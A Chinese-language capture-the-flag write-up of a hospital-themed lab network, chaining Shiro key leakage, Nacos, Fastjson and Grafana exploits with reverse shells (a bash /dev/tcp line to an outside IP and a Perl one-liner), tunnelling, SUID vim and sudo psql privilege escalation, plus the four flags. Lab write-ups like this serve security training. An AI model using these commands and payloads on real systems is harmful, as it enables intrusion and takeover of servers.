Hospital

在这个场景中,你将扮演一名渗透测试工程师,被派遣去测试某家医院的网络安全性。你的目标是成功获取所有服务器的权限,以评估公司的网络安全状况。该靶场共有 4 个flag,分布于不同的靶机。

tag

ShiroFastjsonDecryptNacos内网渗透

信息收集

先用fscan扫一下机器
./fscan.exe -h 39.99.155.247

1
2
3
4
5
6
7
8
start infoscan
39.99.155.247:8080 open
39.99.155.247:22 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.99.155.247:8080 code:302 len:0 title:None 跳转url: http://39.99.155.247:8080/login;jsessionid=C7B44ACB6C849F46C9D5FEBA628E5C41
[*] WebTitle http://39.99.155.247:8080/login;jsessionid=C7B44ACB6C849F46C9D5FEBA628E5C41 code:200 len:2005 title:医疗管理后台
[+] PocScan http://39.99.155.247:8080 poc-yaml-spring-actuator-heapdump-file

机器5

发现有heapdump泄露
JDumpSpider
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

1
2
3
4
5
6
===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = CBC, key = GAYysgMQhG7/CzIJlVpR2g==, algName = AES

===========================================

拿到shiro key:GAYysgMQhG7/CzIJlVpR2g==
利用shiroattack2进行利用

注入内存马

当然也可以弹shell
bash -c 'bash -i >& /dev/tcp/175.27.250.242/4444 0>&1'
然后蚁剑连接

注意选择连接形式为jsp

成功连接,传stowaway
./linux_x64_agent -l 44444 -s 123
./linux_x64_admin -c 39.99.155.247:44444 -s 123
然后发现为低权限,进行提权
find / -user root -perm -4000 -print 2>/dev/null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/usr/bin/vim.basic
/usr/bin/su
/usr/bin/newgrp
/usr/bin/staprun
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/stapbpf
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/mount
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device

发现vim.basic
这里利用vim修改/etc/passwd进行创建新root权限用户

passwd文件用户格式为:用户名:密码:uid:gid:注释:home目录:用户的shell
这边可以看看root用户的格式
root:x:0:0:root:/root:/bin/bash
(密码这部分之所以是x,是因为真正的密码存在/etc/shadow文件里)

openssl passwd -1 –salt asd 123
得到$1$asd$sTMDZlRI6L.jJEw2I.3x8.
xianxin:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/xianxin:/bin/bash
这里推荐用交互式shell进行vim,不然会各种内容覆盖和按键重复导致极难操作,不过也不是不能操作
vim.basic /etc/passwd +31
这里直接光标移动到最后

1
2
3
O           新建一行
粘贴 将我们的新账号粘贴进去
:wq! 这里按esc虽然没有反应但是是会变成普通模式的,然后虽然光标不会变但是直接强制保存退出即可

交互式shell最简单的方法就是输入
python -c 'import pty; pty.spawn("/bin/bash")'
也可以试试pwncat
成功拿到root权限
拿下flag01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
whoami
root
ls /root
flag
cd /root/flag
ls
flag01.txt
cat flag01.txt
O)) O)) O)) O))
O)) O)) O) O)) O))
O)) O)) O)) O)))) O) O)) O)O) O) O)) O))
O)))))) O)) O)) O)) O)) O) O)) O)) O)) O)) O)) O))
O)) O))O)) O)) O))) O) O))O)) O)) O)) O)) O))
O)) O)) O)) O)) O))O)) O)) O)) O)) O)) O)) O))
O)) O)) O)) O)) O))O)) O)) O)) O)) O)))O)))
O))
flag01: flag{3be17952-6b8b-4704-ad4f-2114f0a41655}

配置msf
msfconsole

1
2
3
4
5
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 39.99.155.247
set lport 4567
run

拿下第一个机器
ifconfig
上传fscan扫一下
./fscan -h 172.30.12.0/24 -nobr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
172.30.12.236:8080 open
172.30.12.5:8080 open
172.30.12.6:445 open
172.30.12.6:139 open
172.30.12.236:22 open
172.30.12.6:135 open
172.30.12.236:8009 open
172.30.12.6:8848 open
172.30.12.5:22 open
[*] alive ports len is: 9
start vulscan
[*] NetInfo
[*]172.30.12.6
[->]Server02
[->]172.30.12.6
[*] NetBios 172.30.12.6 WORKGROUP\SERVER02
[*] WebTitle http://172.30.12.5:8080 code:302 len:0 title:None 跳转url: http://172.30.12.5:8080/login;jsessionid=49C9C2ABBD8D5DC84C8C91BC9EC31C69
[*] WebTitle http://172.30.12.6:8848 code:404 len:431 title:HTTP Status 404 – Not Found
[*] WebTitle http://172.30.12.5:8080/login;jsessionid=49C9C2ABBD8D5DC84C8C91BC9EC31C69 code:200 len:2005 title:医疗管理后台
[*] WebTitle http://172.30.12.236:8080 code:200 len:3964 title:医院后台管理平台
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass
[+] PocScan http://172.30.12.5:8080 poc-yaml-spring-actuator-heapdump-file
已完成 9/9
[*] 扫描结束,耗时: 8.360934205s

机器6

发现机器6上开着nacos
然后在windows上也挂个代理
./linux_x64_agent -l 44445 -s 123
./windows_x64_admin.exe -c 39.99.155.247:44445 -s 123
访问网页查看版本

发现为1.4.1,搜索相关漏洞,下个工具NacosExploitGUI_v4.0
然后这边改一下内置的执行命令为创建用户

Runtime.getRuntime().exec("net user xianxin pass@123 /add");
Runtime.getRuntime().exec("net localgroup administrators xianxin /add");
然后编译
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

这里打包的时候javac版本最好是1.8,17编译的有问题

然后把paylaod传上去
upload /home/kali/yaml-payload/yaml-payload.jar /tmp/xx/yaml-payload.jar
在机器5上用python开个内置服务器
为了能看见回显起一个交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -m http.server 80

这里端口最好不为80,大概率被占用

nacos:nacos登录看到Data id为db-config
然后利用工具进行攻击即可

成功收到请求即为攻击成功

然后远程过去
proxychains rdesktop 172.30.12.6 -u xianxin -p 'pass@123'
windows远程桌面也可以

拿到flag02
flag02: flag{f72fd324-e75b-492f-9bcd-262fe03d124a}

机器236

这里扫出来有8080端口网页
尝试传入一个单{发现报错回显fastjson
BP插件fastjson-exp进行攻击


拿到flag03
flag03: flag{6c2bb357-9569-494d-85e8-33b4647b22ec}
这里可以利用之前机器5上的服务器,传入木马
wget http://172.30.12.5:8086/linux_x64_agent
进行连接
./linux_x64_agent -c 172.30.12.5:44447 -s 123 --reconnect 8
在机器5进行listen即可

机器12

然后传个fscan
upload /home/kali/Desktop/fscan /xianxin/fscan
ifconfig
发现为双网卡

扫一下另外一个网段
./fscan -h 172.30.54.0/24 -nobr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
start infoscan
(icmp) Target 172.30.54.179 is alive
(icmp) Target 172.30.54.12 is alive
[*] Icmp alive hosts len is: 2
172.30.54.179:22 open
172.30.54.179:8009 open
172.30.54.12:22 open
172.30.54.12:3000 open
172.30.54.179:8080 open
172.30.54.12:5432 open
[*] alive ports len is: 6
start vulscan
[*] WebTitle http://172.30.54.179:8080 code:200 len:3964 title:医院后台管理平台
[*] WebTitle http://172.30.54.12:3000 code:302 len:29 title:None 跳转url: http://172.30.54.12:3000/login
[*] WebTitle http://172.30.54.12:3000/login code:200 len:27909 title:Grafana
已完成 6/6
[*] 扫描结束,耗时: 4.610850578s

发现机器12,而且为Grafana
利用stowaway挂个多级代理
proxychains ./linux_amd64_grafanaExp exp -u http://172.30.54.12:3000

这里未知原因没打通,可以传文件上去去机器236上打
upload /home/kali/linux_amd64_grafanaExp/linux_amd64_grafanaExp /xianxin/linux_amd64_grafanaExp

得到密码为Postgres@123
进行连接
proxychains4 -q psql -h 172.30.54.12 -U postgres -W
然后postgres命令执行弹shell,这里只能用perl弹shell,而且不出网,机器236上有nc,在机器236上监听
select system('perl -e \'use Socket;$i="172.30.54.179";$p=4567;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');
成功接送

然后提权
find / -user root -perm -4000 -print 2>/dev/null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/usr/bin/su
/usr/bin/newgrp
/usr/bin/staprun
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/stapbpf
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/mount
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device

没好用的东西
sudo -l

1
2
3
4
5
6
Matching Defaults entries for postgres on web04:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User postgres may run the following commands on web04:
(ALL) NOPASSWD: /usr/local/postgresql/bin/psql

这里需要利用psql提权
先起个交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
然后执行命令进行
sudo /usr/local/postgresql/bin/psql
这里需要的root密码可以利用postgres修改
ALTER USER root WITH PASSWORD '123456';

在帮助界面中找到命令执行功能,成功提权
然后成功拿到flag04

1
2
3
4
5
6
7
8
9
10
11
                                           ,,                   ,,  
`7MMF' `7MMF' db mm `7MM
MM MM MM MM
MM MM ,pW"Wq. ,pP"Ybd `7MMpdMAo.`7MM mmMMmm ,6"Yb. MM
MMmmmmmmMM 6W' `Wb 8I `" MM `Wb MM MM 8) MM MM
MM MM 8M M8 `YMMMa. MM M8 MM MM ,pm9MM MM
MM MM YA. ,A9 L. I8 MM ,AP MM MM 8M MM MM
.JMML. .JMML.`Ybmd9' M9mmmP' MMbmmd' .JMML. `Mbmo`Moo9^Yo..JMML.
MM
.JMML.
flag04: flag{dbf2b284-3b09-415d-9995-e33cf30ef088}